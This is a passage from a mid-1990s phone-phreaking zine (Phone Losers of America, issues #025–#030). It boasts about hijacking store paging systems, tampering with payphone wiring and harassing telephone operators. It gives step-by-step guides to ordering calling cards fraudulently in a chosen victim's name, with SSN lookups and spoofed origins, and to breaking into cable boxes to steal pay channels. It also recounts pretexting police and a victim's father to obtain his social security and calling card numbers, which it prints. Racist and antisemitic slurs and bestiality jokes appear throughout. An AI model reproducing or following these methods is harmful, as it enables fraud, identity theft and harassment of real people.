5. Told very anti-religious and racist jokes. (We're not against religion and not racist people, we were just trying our best to offend everyone.)

6. I played my favorite songs over the store via the local radio station, KUFO.

7. A special announcement by RBCP: "Ladies & Gentlemen, may I have your attention please...At this moment I'd like you all to direct your attention to the individual working in Lawn & Garden. She is the very person who screwed up and allowed us to take over your paging system! Not that bright of an employee if you ask me but hey, we're dealing with Fred Meyers, right? So ma'am, if you haven't been fired yet...Thank You!"

8. Colleen sang "I'm a Little Teapot" while I yelled "Fuck God!", then she started reading off phone sex ads. Then poetry.

Transferring The Call Ourselves:

Me & Colleen went to Gateway again. After getting on their paging system so many times, they must have put out a big-time security alert or something because NO department would transfer us anymore so now I HAD to get it just to show them. Here's what we did...

1. We find a phone in Isle 13 and write down the extension number off of it.

2. I stay there and Colleen runs out to the pay phone.

3. Colleen boxes a call to Fred Meyers and asks customer service for extension 1625, which is where I'm standing.

4. My phone begins to ring. I pick it up, dial TRANSFER, 1800 and hang up.

5. I run out to the pay phone and we say a few things into the phone such as "Ha, ha! We got through! Nyah nyah nyah nyah nyah nyah!" and other assorted immature things.

6. We get kind of bored and go home. But it WORKED! Ha!

A few days later we called from home and asked to be transferred to extension 1625. A stock boy picked up the phone and we told him exactly what to press and we got on again. They'll never win.

Interview With The Security:

After that night it got sort of boring. I was a little upset that none of this made the papers and we never got around to doing it much more after that. Once while Colleen & her dad was in another Fred Meyers shopping, I got in and made a few announcements, played a few touch tone songs, etc, but their system was messed up and they couldn't hear me very well.

So one day I'm hanging around the Portland PDX airport because I have nothing better to do. One thing has led to another and I'm sitting at a pay phone, using the fingernail clippers that I stole from the gift shop to splice open the wires to the pay phone. (They wires were just shoved up under the pay phone wall and easy to get to. I had access to three different phones,  including my own.) I didn't mean to, but instead of just stripping the outer cover off the wires, I cut it totally in half. I quickly learned which phone it was when the Japanesse girl next to me looked distressed, started yelling something urgent in the phone, then hung up and went to find antoher phone. Whoops?

So I finally get my phone and the phone next to me successfully hooked together. I called Zak and explained to him what I'd done. Then I patched in the other dial tone and called Fred Meyers in Beaverton. We had no problem getting in to their all store paging. We fucked around for awhile on their system and got bored with it so Zak used HIS three-way to call up the Gateway Fred Meyers. We asked the customer service lady for security.

"Security, may I help you?"

"Yes, this is Roy from the Orgonian Newspaper. I was calling in regards to your problems that I've been hearing about with your paging system?"

"Well, sir, that's a problem that has been taken care of. Is what was happening is some kids were dialing in from the outside..." Blah blah blah, he rattled on for awhile.

After he babbled on for awhile and I asked him some more questions, I asked, "Sir, are you aware that you're participating in a four-way phone call and right now as we speak, our voices are echoing throughout the bowels of Fred Meyers in Beaverton? Now, you say that you're security for Gateway Fred Meyers, correct?" The line was totally silent after that, then it clicks and he's hung up, probably franticly calling Gateway to find out if it's true. I then made an announcement, "Yes, shoppers of Fred Meyers, this is the kind of intelligent people that you're dealing with every day, shopping here!"

We hung up and Zak called Fred's back to ask the lady if we were really on the system. She verified that we were so we asked to be transferred to 1800 and she told us to please hold.

"Security, may I help you?"

"No, she must have misunderstood us. We didn't want security, we wanted extension 1800 so we can frollic around your paging system freely!"

"Well, sir, I don't think that's going to happen."

Another incident with security happened when I called security from Clackamas Town Center, just out of boredom. (The very mall that Tonya Harding likes to skate in, by the way! Boy, do I feel important.) I called Gateway security and had a long conversation with the security lady. I told her I was the one responsible and she said, "I know, I have the same number on my Caller I.D. here." which is bullshit because I'd never called Fred's from that Mall.

"Well, ma'am, did you think what I did was funny?"

"No, not at all, actually."

"I bet you smiled, though..."

"Well, yeah, until you started getting vulgar. You really upset quite a few shoppers here."

"That was my plan, though."

"Why?"

"Because I have no life."

Afterwards:

I know the story just kind of ended there and didn't really have any kind of point to begin with but I thought I'd write it to see what you think. (Which is probably that we all need to get a life.) Since that day we've been on the paging systems of various stores around Portland, saying pretty much the same things each time. It actually gets old after awhile but it's really fun at first. I severely shocked the shit out of myself trying to hook another pay phone to my original two so don't try that unless you're wearing big rubber yellow gloves! It never did make the paper that I'm aware of and the strike is over and things are pretty much back to normal there. So if you want to call Fred's and try it yourself, feel free!

K-Mart uses a similar phone system nationwide but I never have been able to get into their paging system. Actually, I've never been able to get into any other store except for Fred's so please mail me if you get anywhere with other stores. Wal-Mart, perhaps?

Phone Numbers:

Gateway Fred Meyers - 503-254-7905

Beaverton Fred Meyers - 503-690-5823

Rockwood Fred Meyers - 503-669-4600

There's a billion others in Portland, but those are just the ones I have listed and I'm too lazy to dial information. The paging code for most of them is 1800, but Rockwood for some reason is 800. If you want Isle 13 at Gateway, the extention is 1625. (Talk to a not-too-bright stock boy!) I don't encourage actually doing this, but think it would be funny as hell. Contact me at the numbers listed below for future developments.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #026

Information On A Few Phone-Type Offices

Written On March 18, 1995 - Last Revision on March  20, 1995

Piling up in a few of my notebooks is information on various phone company and other offices around the U.S.A. that I've had reason to do research on in the past (Usually the reason was that I didn't have much anything better to do with my time.), so I'm going to type up the information I have and turn it into yet another PLA file that really has no use except to clutter up your hard drive just a little bit more.

Portland, Oregon Directory Asisstance

735 SW Stark, Room 912

Portland, Oregon 972xx

(503)-242-5575 Office

This is one of the four offices that you reach when you dial 1-503-555-1212. The other three offices are Canton, Ohio; Cleveland, Ohio and Salem, Oregon.

Known Service Asisstants (Supervisors): Carol, Nancy, Charmaine, Barb Walker (manager), Kitty Lund, Diane Cordiar, Daffney Truats,

Known Operators: Gail, Laura (Laurie) #2245, Lois #1061,

Office uses General Datacomm terminals. Dedicated keys include Air, Auto, Bank, Hospital, Motel, Pac, School, COC (Chamber of Comerce?),

U.S. Sprint (LDUSA)

3rd & Johnson Commercial Court

Wynonna, Minnesota 55987

(507)-454-8386

This is an interesting one that I ran across while compiling PLA023.TXT.  Here's what happens when you dial 10252-0:

1. The operator that answers will only identify herself as a "special billing operator." I guess that makes her feel important. She'll be freaked out that you're calling her and she doesn't have your information on her screen. She won't tell you where she's calling from, but a few will hint that they're calling "from the mid-west." I finally got one of them to admit where they where calling from which is Wynonna, Minnesota by telling them that I was their supervisor in Chicago. Even if you ask, "Hi, have I reached the Wynonna, Minnesota office?" they usually won't tell you. One of them told me they were a "Hospitality Operator."

2. They WILL place a call for you collect, third party (with verification), or on a calling card. They won't dial direct (free) or with your red box.  Usually, though, before they place the call they give you the third degree asking you questions like: "Who are you?", "Are you calling from a pay fone?", "What number did you dial to get me?", "What number are you calling from?" and a few other mundane questions. Whatever you do, don't tell her the access code you dialed to get her. This is interesting and we don't need them shutting it off.

3. She won't complete a toll-free (800) call for anyone but three times now, I've convinced her to anyways, saying that I was a GTE lineman. Each time I had her call a different ANI number and each one came up with a number in Los Angeles. One of them is 213-892-8743 which just rings and never answers. The other one is 213-624-9126 which says, "This number is disconnected..." And 213-892-8933. And 213-892-8996.

4. If you try to make a direct call (such as 10252-1-512-370-4680) you'll get a screwed up voice saying, "We're sorry, the number that you are calling from is not in service at this time. Call your carrier for asisstance..."

5. Most of the operators will claim that they have your number on their screen but they'll still ask you for your number and they won't tell you what your number is if you ask for it. Also, some operators admit that they can't see where you're calling from so this leads me to believe that none of them can. Except ONE operator so far knew which city and state I was calling from. Most of them can't even tell which state so I don't know. If they don't know where I am, how do they know how much to bill me for a long distance call? For all they know, I'm calling someone down the street.

Here's a conversation I had with one of them today:

ME:: Dialing 10252-0...<ring> <ring>

HER: ...Uh...Sprint, may I help you?

ME:: Hi, is this the Wynonna, Minnesota office?

HER: I can't give you that information.

ME:: Well, you're not in Los Angeles, are you?

HER: (Pauses to think...) No.

ME:: Well, I just wanted to ask you a question. How come when I have you dial the ANI number, it gives me a number in the 213 area code and not there in Minnesota?

HER: Do you work for us?

ME:: No, I work against you.

HER: Hold on just a second...(Gets her supervisor)

SUP: This is the supervisor, may I help you?

ME:: Yeah, how come when I dial ANI through you I get Los Angeles?

SUP: (Sounds pissed) Who are you??

ME:: Alex.

SUP: Well, who do you work for?

ME:: McDonald's (No, I really don't work there...Give me a break.)

SUP: McDonald who??

ME:: McDonald's, the fast food joint, you know? Could you please tell me what number you show that I'm calling from? What's on your screen?

SUP: I'm not at liberty to give out that information.

ME:: Hmmmmm...Could you VERIFY the number?

SUP: No, I can't do that either, I'm sorry. What number did you dial to reach this office?

ME:: I'm sorry, I'm not at liberty to give out that information.

SUP: Why not?

ME:: Well, I'll make you a deal. You give me my phone number and I'll give you your phone number.

SUP: No, I can't do that.

ME:: Please? I'll box you a quarter...

SUP: (Laughs) No, what number are you calling from?

ME:: Well, we both obviously need information from each other so here's what we're going to do: I'll tell you my area code, YOU tell me my prefix,  I'll tell you the first two numbers of my suffix and YOU tell me the last two numbers. That sounds like a reasonable trade.

Well, that goes on and on. I spoke with this operator for 10-20 minutes and it just goes downhill from there. I've also called them from home and harrassed them to death. The address of the office is:

Names of Supervisors: Dan, Glinda, Steve, Sue,

Names of Operators: Jenell, Cindy, Renae, Sarah, Dave, Pam, Jackie, Tonya,

"Is this a test call?"

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #027

Nursery Rhymes For Baby Phreaks & Other Perverts

Written by Colleen Card on March 30, 1995

There are plenty of phone phreaks out there who have children but those damned nursery rhyme books seem to ignore this fact. Well, it can't go on any longer! This text file is a collection of poems and nursery rhymes for phreak parents to read to their kids. Most all of them are a parody of some other kid's story so we expect to be hearing from a few lawyers very soon.

Long call, short call, three call, free calls

a parody of One fish, two fish, red fish blue fish by Dr. Seuss

Long call, short call, three calls, free call!

Black box, blue box, red box, telco box!

This one has a little star,

That operator has gone a little far!

Say! What a lot of police there are.

Yes. Some are red. And some are blue.

Some are black. There's rainbow too.

Some phreaks are glad. And some are mad.

And some are very, very bad.

Why are they glad, and mad, and bad?

I do not know. Go ask your dad.

Some phreaks are thin.

And some are fat.

The fat one has a lineman's hat.

From there to here, from here to there.

Phone phreaks are everywhere.

It's a fact

Phreaks like to hack

some hack and yack

on a cellular track.

Oh me! Oh my! Oh me! Oh my!

There are alot of phreaks nearby!

Some have two phones, and some have four.

Some have six years and some have more.

Where do they come from? I can't say.

But phone wires travel far, from a long, long way.

We see phreaks come. We see them go.

Some red boxes are fast and some are slow.

Some phreaks are lame. And some are pros.

Not one of them is like another.

Don't ask why. Go ask your mother.

Say! Look at his PBXs! One, two, three...

How many PBX numbers do I see? One, two, three, four,

Five, six, seven, eight, nine, ten. He has eleven!

Eleven? What a fucking jew. I wish I had eleven too!

Ring! Ring! Ring! I hear an operator begin to scream.

I hear her scream as her headset rings.

But I have a backdoor to MCI.

The operator can't get my ANI. So...

If you like to go Ring! Ring! Ring! Just call my backdoor number

And make the operator scream.

Who am I? My name's Colleen. I do so like to make phones ring.

It is good. And it is right.

To screw with people's heads all night.

And when I make those red box tones. I like to stand at an Ameritech phone.

Hello there, Chris. How do you do? Tell me, tell me what is new?

How are things in your little head? What is new? Is Ryan dead?

I do not mean to sound unkind. But who are you on my phone line?

I do not think your call's sincere.

So please go on GET OUT OF HERE!

Oh dear! Oh dear! I didn't hear.

Did you say Mildred Monday wants to bill here?

Say look! Get your finger out of your ass.

I bet you can't say that five times fast.

The moon was out and we saw some agents.

We saw some agents of the F.B.I.

By the light of the moon.

By the light of a star.

The agents searched from near to far.

They haven't caught all the phreaks thus far.

For now good-bye, it's time to phreak.

Keep your number unlisted, and your phone calls phree!

Harry Little Roy

All the perverts like to spend the day molesting gerbils together, but not hairy little Roy. He doesn't want to play with his friends, he wants to go to  the park and have fun. Little Roy walks all the way through the park where he meets a cute frog. "Come play with me!" says Mr. Frog. Flip-flop and hippity-hop, they play leapfrog with Crisco across the meadow. Then, SPLASH! Mr. Frog's limp body falls into a big pond. "Mr. Frog, why do you have to be so fragile?" Sobs hairy little Roy. "Now I will be very lonely without a playmate." Luckily a kind horse was passing by, "Don't be upset, little Roy," says Ms. Horse.

"I'll be your playmate and take good care of you!" Clip-clop and hipity-hop they trot back across the meadow. Hairy Roy is happy he has someone to take home to his apartment. Harvy, Roy's gerbil is happy too, he has a headache!

All Roy's friends come over and they have a big party with Ms. Horse. The next morning Hairy Roy gives her a quarter and thanks her for the great evening. Hairy little Roy LIKES horses.

---------------

The phreak is a person of talent and pride,

All the knowledge he has will make some cockeyed,

If you choose to cross him he will bide,

Upon getting their numbers your FAMILY he'll chide,

That might made your grandma an extreme homocide,

And your family, in you, will no longer confide,

You may find all your friends becoming very snide,

As a voice on the phone threatens to make them one-eyed,

When your eyes start going crazy and your brain overrides,

When the phone makes you retch and you consider suicide,

If the police always come over and want to kick your backside,

Then I guess to that telephone company you should have lied,

Maybe someday you'll get lucky and breathe in monoxide,

Since your family has all had to change their reside,

Too bad your father wants to make you into a cowhide,

I guess you should say prayers by your squalid bedside,

I want to tell you, Sylvia, that's it's now time to hide!

(this one's to the tune of Twinkle Twinkle Little Star)

Ring-a-ling, ring-a-ling, telephone,

I will hope that no one's home,

So I can break into your answering machine,

Change your message so your mom will scream.

Ring-a-ling, ring-a-ling, telephone,

I will hope that no one's home.

---------------

One, two, three, four,

A phreak is knocking at my door.

Five, six, seven, eight,

His lineman's belt is on him straight.

Nine, ten, eleven, twelve,

He's putting phone wires under my shelf.

Red Box Love Song

You are my sunshine, my only sunshine,

You make me happy when skies are grey!

You'll never know dear, how much I love you,

Please don't take my sunshine away.

I saw a pay phone, I had no quarters,

I was lonely and I was blue.

Then you pulled out your handy red box,

And I knew your love for me was true.

The AT&T operator was being mean to me,

So I cried as you held my hand.

She threatened to call Telco Security,

So we laughed and said, "We're phone phreaks, ma'am!"

I hear a red box, it chimes to sweetly,

In the night as I'm in your arms,

We'll call Jamaica and Austraila,

And to us there will come no harm.

---------------

Dog and a cat and a line man's hat?

In the night I see you on my bathroom mat.

If you wish for a quarter, maybe a dime.

I might build you a red box and you will be fine.

(to the tune of Bah Bah Black Sheep)

Operator, operator, place my call,

I found this number on a bathroom wall.

You can't have my number and you can't have my name,

I'll give you a card number and you can keep the change.

Operator, operator, have you any codes?

"Yes, sir. Yes, sir. Loads and loads!"

Some for the businesses,

Some for the lone,

Some for the phone phreak who can guess my home.

---------------

Hey, Kevin Mitnick,are you ashamed,

of all the little antics that have caused so much strain?

Could you be embarassed that you've been caught,

And that you're a role model 'cause phreaks like you alot!

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #028

How To Order And/Or Create Your Own Telephone Calling Card Numbers

Written On March 28, 1995

Could that beginning screen be a little bit longer, you think? Anyways, thanks to PESTiLENCE for the opening screen. I can't believe I haven't done a file on calling cards yet. I've been ordering calling cards since I was in diapers and there's not even a PLA file on it. What in the hell is wrong with me? I wrote a file on calling cards a few years ago but I lost it in a freak accident with the lawn mower, I think. Not much has changed since then, though.

It's really simple and I hardly think that the subject really deserves more that a paragraph, let alone a whole file my my pointless babblings should drag it out a little more. (See? Two meaningless paragraphs already...)

Selecting Your Target:

Your target can be anyone. A total stranger used to be my favorite choice but when I visited my parents recently I was thumbing through my old high school yearbook and thinking, "Hmm, this guy was a real dickhead...This teacher hated me...This girl turned me down for a date..." So since then most of the people that I decided that weren't exactly the best of friends with me in high school have gotten larger phone bills than they usually do. They don't have to pay for the charges, but it sure is a headache for them.

I usually make their pin number something meaningful such as my first name so I can call them up pretending to be phone company security, "Yes, sir, well, I see here that your pin number on that fraudulent card spelled out the word RBCP (my real name). Now on my records here I show that you had a disagreement with a RBCP in high school and we suspect this may be an act of revenge on his part..."

So no matter who your target is, write down all the information you have on them. Mostly you will just need their name and phone number but it helps to have their address and possibly their social security number in case the phone company wants to verify it.

Ordering The Card:

The card number is almost always the owner's area code, phone number and four digit pin number. (xxx-xxx-xxxx-xxxx) To make things easier for the customer, you can personalize the pin number. Used to, this was very easy and you didn't even have to ask for it. The operator would just say, "And what would you like your pin number to be?" But in the last few years the phone company finally realized that what they were doing wasn't that bright so they've tightened security a little bit.

Sometimes they'll want to call you back at your home and if you're not at home then they'll want your social security number to make sure that you're really who you say you are. Look up the residential billing office in the front of your phone book. (Or if it's long distance, call information.) Here's how my conversation with the billing operator usually goes:

OPER: May I help you?

RBCP: Yeah, I had called earlier today about ordering one of your calling cards...I just wanted to go ahead and set that up if I could.

OPER: Could I have your home telephone number, area code first?

RBCP: Sure, it's 512-370-4680.

OPER: Your name?

RBCP: Geraldo.

OPER: How many cards will you be needing?

RBCP: Oh...just one is fine.

OPER: Okay, I've placed the order for you and your card will be there in about two weeks.

RBCP: Okay, thanks! Hey, am I going to have the same pin number as I selected when I called last time?

OPER: I don't show that you called before.

RBCP: Oh, yeah, I called asking questions about the card and the operator said that I could make my pin number the same as the pin number on my ATM card.

OPER: What pin number would you like?

RBCP: 7448.

OPER: Okay, it's taken card of. Thank you for using AT&Roy.

It's actually not really even that hard. But sometimes the operator will want some additional information such as your social security number or she might want to call you back. If I don't have their social security number I just hang up and call right back saying that I got hung up on and continue the order and the new operator will give me my pin number with no questions.

Another way to get card numbers would be to send the actual card to a post office box. (See PLA024 for P.O.Boxes) First you'd call up the billing office and ask for all of your future bills to be sent to a new address which is your post office box. Then you'd call back and say you'd like to order a calling card and don't bother asking for a personalized pin number. In less than two weeks you'll receive the card in your box. It'd be a good idea to forward their phone bills back to the original address unless you're not planning on keeping that box for much longer.

DON'T place the order from your home! They're the phone company, for god's sake and they'll be able to check their little ANI machines a few months down the road and see who called them for that order. (It happened to me once.)

Using The Card:

Here are some handy-dandy guidelines on using your calling cards:

Don't call from your home! Don't call from your friends' homes! Don't call from work unless you plan to quit soon. If you call from a home number, you can easily be back billed for the charges. This happened to me in L.A. So unless you're good with diverting, don't do it from home.

Keep in mind that the owner of the calling card will have every number you've called on his bill as well as every number you've called from. So if this card is for revenge purposes, you might want to think about whether or not you want this guy having your friends' phone numbers or not.

Don't use Sprint. (103330+number) I've noticed that after chain dialing a bunch of numbers under Sprint on a calling card, the card will go dead soon after that. Instead use AT&T. (10288+number) You can dial a ka-zillion numbers through them and it'll never go dead.

Don't distribute the card to out of state friends and don't call overseas. The fastest two ways to make a card go dead is to use it from two or more different area codes a lot and/or do a lot of overseas calling. Instruct friends not to give the card to out of state people and not to call even one overseas number. If possible, put an overseas block on the card.

When you're done with a call, don't hang up! Instead, wait for the person on the other end to hang up, then press the # key. AT&T will say, "Please enter another number now..." Dial the area code and new number and it'll put you through again without having to re-enter your calling card again.

Tricks:

By blocking your ANI and then calling AT&T, you can make your calls seem to come from anywhere in the United States. The person you've ordered the calling card for won't have to pay for the charges if it's obvious that it's fraud that he didn't have anything to do with. But what if you make all the the phone calls appear to have been made from his own home? Then what's he gonna tell the operator? "Well, even though all the calls are coming from my home, I know nothing about this card..."

Dial zero. Ask the operator to dial a toll free number for you. Give her the number 1-800-225-5288 and she'll put it through. (That's 1-800-CALL-ATT) When you get the "AT&T" stuff, hit zero to get an operator. She'll ask you what number you're calling from. Give her the number to the calling card victim's home. She'll ask for the number you're calling to and for your calling card number and put your call through. After you're done with the call, your can hit the # key and dial other numbers just as if you'd dialed direct and it'll all show up as being made from the victim's home.

In the past, I've made my calls seem to come from the White House, from local police stations, pay phones outside the victim's home, and from the victim's grandma's house and mom's house and friends' houses. I'm sure this confuses the hell out of him.

Caught Again:

Of course, I got sloppy a few times and got caught. While living in Los Angeles and using a card from my friend's house, I charged about $40 worth of calls to a calling card number in Oregon. The phone company didn't even calls us about the charges, they just tacked 'em onto my friend's phone bill and I paid them.

Another incident was when a stupid friend of mine in Highland, Illinois used a card I gave him every night from his home. When the phone company called his mom, she gave my name and phone number so the phone company called me. I admitted that it was me to keep my friend out of trouble and told the lady that the card number was written on a pay phone and I didn't know I was doing anything wrong. She said in first-time situations like this they don't prosecute (I stiffled a laugh) and they'll only charge me for the fraudulent calls made from my friend's house. A week later I got the bill, threw it in the trash and moved to Indianapolis to meet Jim Bayless.

Only very few times has a phone company called a friend of mine that I called on the card and tried to find out about me. When they did, my friends would just play dumb. This happened once to Martini (618) when a sherrif from the small town of Roscoe, South Dakota (I ordered a calling card from there) deicded to investigate for his buddy, I guess. Martini said she didn't know anything and that was the end of it.

That's It:

Now you know how to stock up on calling cards. Zak recently placed an order for a calling card through MCI and got a personalized pin with it and it worked forever. He even gave the guy's incorrect address and birthdate but it still worked. So, it's something I'm gonna try soon but don't really know enough to write about yet.

Phearless:

I have to show you guys this...A few years ago, a guy I know decided to create his very own kewl elite hacking and phreaking group, although the only hacking he has EVER done in his miserable life is extract the PKUNZIP.COM file to get into someone else's WWIV DOS.

Phearless (a.k.a. Jason Phillips) of Wood River, IL decided to call his k-rad group P.H.U.C.K. This creative title is an acronym for Phreak/Hacking United Corporate Khaos. (Seems he ran a little short on creativity there at the end, huh?) Anyway, what am I getting at? Well, uh...nothing. He's lame, that's all. Below is an edited version (VERY edited) of a k-k-kewl file he wrote for the group. It was originally about ten pages long but I shortened it.

How to disable Caller ID.

blah,blah,blah,blah...He rambles about his amazing hacking group...

Okay.  Onto the program...  Do you know how to disable call waiting? You just use the *70, feature, right?  Easy, eh?  Yep well all you do is lets say you're gonna call my bulletin board and I was a lame-paranoid bastard with no life who has Caller ID.  Well, all you do is before my number you type *71,. The number would look like this:

*71,1-618-254-4016

You see, 70 disables call waiting and 71 disables Caller ID. Are you kicking yourself in the ass now for not find this out by yourself?  To find little secrets like this, you just dial 0 and talk to the Ma Bell operator. You'll be amazed at how stupid the Fone Operators are...They'll tell you anything.

Well, that's about it. That amazing top-secret classified phone company "secret" that he "social engineered" out of a "stupid" operator and unveiled to us just happens to be available to anyone that knows how to open their phone book. It's listed in there along with all the other standard *xx commands that everybody knows about and always has been. (Actually, I think the 618 code is *67 now. It used to be *71 when they first got it.) He wrote that file before Caller I.D. was even available to the area. (Ahead of his time, I guess.)

Anyway, I've had Jason's phile in my hard drive forever now and the only reason I kept it this long is for the comic relief and thought maybe I could share it with everyone else. He wrote a few others, equally pathetic. That's it for this issue, though. Now get out to a pay phone and start ordering those calling cards before they quit offering personalized pins! See you in PLA029.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #029

Getting The Pay Channels For Phree

written by )r. )re on April 25, 1995

You know what I can't stand?  It's when you have absoPHREAKINGlutely nothing  to do.  That's where TCI or your cable company comes in.  Are you tired of BASIC service? Well go ahead and read on......

First of all, take note of what channels you DON'T have.  Try some like HBO, Cinemax, Showtime, Disney?, Encore, Movie Channel, etc., etc.  These come in handy when you finally get them.  Next, it is very important you do this when no one is outside, otherwise the entire plan will be ruined.

Go outside. Find where you cable relay is. Not the one on your house, dork, but the one in your alley, telephone poll, backyard, frontyard, or near your house. The BOX type cable relay is usually green or gray. These are the easiest to break into.  What you need is a hammer and a point (optional). What really works good is a geologist hammer. Anyways, enough on the history of hammers, hell just find a way to break the piss-ant lock on the cable box. Once you get the lock off (tough huh?) take a look at the cable relay. There is sometimes more than one cable line into the box. This is probably your neighbors cable. Find the one in the box that is on your side. Confusing?  Here let me show you.

Ok James Bond, your operation is to remove the little silver looking tubes. These tubes block out channels like HBO and Showtime. Take off one of the  little tubes. Close the box, go inside, turn on your T.V and flip through the pay channels to see which channels the Lucky Charm Elf left you. Ok, you keep removing them until you have every single pay channel imaginable.

There is one problem with this plan, next time the cable man comes by andsees you have been ripping off over $50 worth the pay channels every month, he is going to be pretty pissed off. So he'll be thinking,"I'm gonna get them goddamned thieves!" He'll probably disconnect you cable. Just think about it. "Uhhh ohhhhh! this will be REEEEAAAALLLL HARD to reconnect." Just go out to the cable box and reconnect the disconnected wires. One way to get around this is to give everybody in your neighborhood free pay channels, that way he can't convict the culprit.  If you keep doing this every month w/o being caught then you got it made. Otherwise they will permanently disconnect your cable and take you to small claims court for every dollar worth of cable you stole.

For you pissholes whose cable relay is on a telephone pole, you are going to have to steal some pole climbing shoes or get one long fucking ladder. This gets to be a real bitch.  Just find the cable wires leading into your house. Take ALL of the tubes off since you are sort-of in a hurry. Take your ladder down and go inside, make a glass of ice-tea and enjoy the cable.

Since it is late at night, there will probably be some tit movies on Showtime or Cinemax.  Make sure you record them with your stolen VCR from Best Buy. You can later sell these tapes to horny Indians at school like Raj, Rajan, Hashiv, Tubah, Crewntol, and Bustav. See, not only do you get $50 worth of free cable, but can make $10-$20 off of movies too. See? Being bored can be fun!

Contact The Phone Losers Of America Nearest You!

Voice:

512-370-4680 PLA Voicemail System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Site: FTP.FC.NET - directory pub\deadkat\incoming\PLA (Thanks to Disorder & Deadkat!)

Issue #030

Completed On May 13, 1995

Introduction - RBCP:

Well, PLA030 is finally out. After getting a few ka-zillion pieces of mail and a few phone calls asking "So when's the next PLA coming out?" I know why ErikB is always complaining about that. It's not annoying exactly, just kind of repetitive.

Third party billing was disabled on my phone line a couple months ago for some reason, meaning I can no longer make calls anywhere in the United States and third party billing it to someone else, not that I would actually ever try a stunt like that. That's ripping off MaHell and that's wrong. But this month I got my phone bill and it was well over $300 in back charges because of third party charges originating from my home. Well, I called the phone company and they seem to think I'M the victim here and were more than happy to remove the charges from my bill, god bless them. So, when trying out the activities out-lined in PLA005, remember, I got backbilled. (Even though they removed all of the charges...)

I also heard another story from Mike in Portland, Oregon about some idiot that billed to the same number over and over and over and of course AT&T didn't like this and billed him for the calls. Worse yet, he was billing to a non-working number in Canada, something like 514-xxx-1234. Not too bright. Anyway, I have a good excuse for being so "late" in releasing this PLA that's about nothing in particular. I had a problem when, while walking down the street, a teenage motorist and his friends passed by in their Camero and all screamed, scaring the shit out of me and making part of my Big Gulp shoot up out of my nose.

Luckily, in all the confusion I was able to see their license plate number and write it down. I walked over to the pay phone and called the local police department, got transferred around and finally talked to a lady who was nice enough to give me the name and address registered with the car.

"Corpus Christi Police Department..."

"Hi, this is Bill with the Quickee Mart over on Charlton Street. I called yesterday about a gas drive off here for a total of $83.71 and I was promised the name and address on this license plate but I haven't heard anything yet. The damn sumbitch filled up his boat, camper, truck and three wheeler and took off. Now can you check this plate number for me?"

After a little more pursuading she finally gave me the information I needed.  With temperatures rising into the 100's that day, I drug myself over to a nearby hospital to use their inside pay phones. While the lady left the front desk for a few minutes, I grabbed her chair so I could sit down to use my phone. Looking at my watch, I saw that I needed to be at my job in ten minutes but fuck it, I was on a roll.

The address I was given by the CCPD was in Manistique, Michigan. I made a few calls to 906 information and LACs and the Manistique billing office to find out that the owner of the nice Camero was actually this little rich brat's daddy and that his son, Dale, was just down here on Spring Break. Finding his alternative number on their phone account was the dad's work number, I gave him a call at Century 21 where he worked.

"Century 21, this is Linda."

"Yeah, could I speak with Mr. Tullar?"

"Just a minute, sir..."

A few minutes of waiting and he was on the phone.

"This is Mr. Tullar, what can I do for you?"

"Mr, Tullar, this is Edward Garcia from the Corpus Christi police department, and it seems we have a problem with your son here. Him and a few of his friends were picked up this morning for a few misconduct charges and in order for him to be released you'll need to come down here and sign for him."

"What do you mean I have to come down there," he moans, "he's eighteen years old, can't he be let out himself? What's he in there for?"

"Well, sir, an officer picked him up in downtown for running amok with a stick. Seems he was going a little crazy and hitting old ladies on the head and screaming something about canoe heads. He was given a sobriety test along with his friends and they were all intoxicated with grape kool-aid. This being a Friday, there's no way he'll get out until at least Monday evening and even then, we won't be able to release the Camero as it's registered under your name."

"This is all kind of shocking to me...uhh...what do I need to do here? I can...that little son of a bitch...", he starts muttering to himself.

"Sir, you don't need to use that kind of language around my phone. Now first of all I'm going to need a little information from you to help clear all this up. He's facing charges on public intoxication, misconduct, running amok with a stick in the third degree, burglary and terrorism charges.  I need to-"

"What do you mean, terrorism?," he screams, "and where did the burglary charge come from?"

"Well, as I was saying before you inturrupted, I don't know how you people do things up there in Michigan but down here in Texas you can't just walk into the Nations bank with pantyhose on your head and demand money. It also turns out that the FBI is seeking him as the John Doe #2 involved in the Oklahoma City bombing. A secretary here recognized him right away and the feds are on their way to interrogate him right now. First off, I need to know exactly where they were staying so the search warrant can be served. You son is being very uncooperative since we found the cocaine in the trunk."

"He was staying at the Holiday Inn at Emerald Beach."

"Okay, very good. And could I have your social security number?"

"Yes, it's 600-00-7913"

"Alright, and for my report here I need your AT&T or local Bell calling card number."

"Oh. Let me see here...Okay, it's 906-341-xxxx-xxxx. What's this for again?"

"Don't worry about it. Now if you'll-

I looked up and noticed an angry nurse looking at me, demanding her chair back.

"It's okay, ma'am. I'm with the PLA," I said and held up a Phone Losers Of America business card for her to see and she walks back to her desk, confused.

"When was your son planning on returning home?"

"Tomorrow morning. He was planning on leaving first thing in the morning."

At this point I hung up. This man was getting pretty boring and I had other things to deal with. Like Holiday Inn. The lady at the front desk was very concerned after I indentified myself as "Bill from Visa" and explained that the young man staying in room #236 was using a stolen credit card. Unfortunately, I had just missed them. They had checked out a mere two hours ago. And I was going to go break into the room. Well, maybe this is better because now the dad won't be able to contact them and he'll fly or drive down to get him out of jail.

